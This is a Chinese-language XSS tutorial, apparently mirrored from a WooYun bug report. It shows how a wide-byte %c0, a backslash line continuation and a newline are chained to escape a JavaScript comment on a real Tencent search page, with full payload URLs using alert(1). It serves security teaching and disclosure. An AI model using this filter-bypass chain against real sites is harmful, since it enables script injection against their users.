# 7\. 寬字節、反斜線與換行符一起復仇記
> 來源:[7\. 寬字節、反斜線與換行符一起復仇記](http://www.wooyun.org/bugs/wooyun-2010-016008)
## 簡要描述
這一次,3 個家伙一起上啦~
## 詳細說明
1\. 實例點如下:
```
http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138, 138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaaaaaaaaaa
```
老規矩,繼續看我們的輸出。

2\. 一共有 3 處輸出,位于 HTML 屬性里的那一處,我們放棄了,因為雙引號被滅掉了。那么還剩下 2 處。 都是位于`<script>..</script>` 里,而且挨在了一起。
3\. 先看第 2 處,是不是似曾相似啊? 對的,教程 6 里剛剛遇到過。那就是輸出在【注釋】的情況。我們用換行符試試?

4\. 一條是好消息,換行可以用,一條是壞消息。。下面出現的一句壞了我們的好事。。腫么辦。
5\. 這個時候,我們需要先說點 javascript 的知識。 javascript,字符串允許下面多行的寫法。
```
var a="我是一個字符串\ 我還是一個字符串";
alert(a);
```
6\. 基于這點,我們可以把缺陷點構造成下面的樣子。
```
//document.getElementById("order_select").value = "aaaa\ alert(1);//";
var searchOrder = "aaaa\ alert(1);//";
```
那么代碼構造的解析如下:

7.帶著這個想法,請上我們的反斜線。。

8\. 悲劇的是,反斜線被過濾成了 2 個`\\`,這下不好辦了。
9\. 還記得在教程 4 里,我們提到的寬字節用法么?說到了 `%c0` 可以吃掉`%5c`。 我們看看頁面的編碼。
```
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
```
gbxxx 系列的啊,竊喜中。
10\. 于是,我們的`%c0` 也加入戰斗了。
```
http://cgi.data.tech.qq.com/index.php?mod=search&type=data&site=digi&libid=2&curpage=1&pagenum=30&filterattr=138,138|16|4,5,4,5&filtervalue=3500-4000,%B4%F3%D3%DA4000|%D0%FD%D7%AA|WCDMA,WCDMA,HSDPA,HSDPA&tplname=centersearch.shtml&orderby=aaaa%c0%5c%0aalert(1);//
```
看看源碼中的輸出。 `\\` 被我們變成了 `亂碼+\`

11\. 此時,標點符號們正在開會,開會的主題是:“大家好,才是真的好”
## 修復方案
參加前面教程4,5,6
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]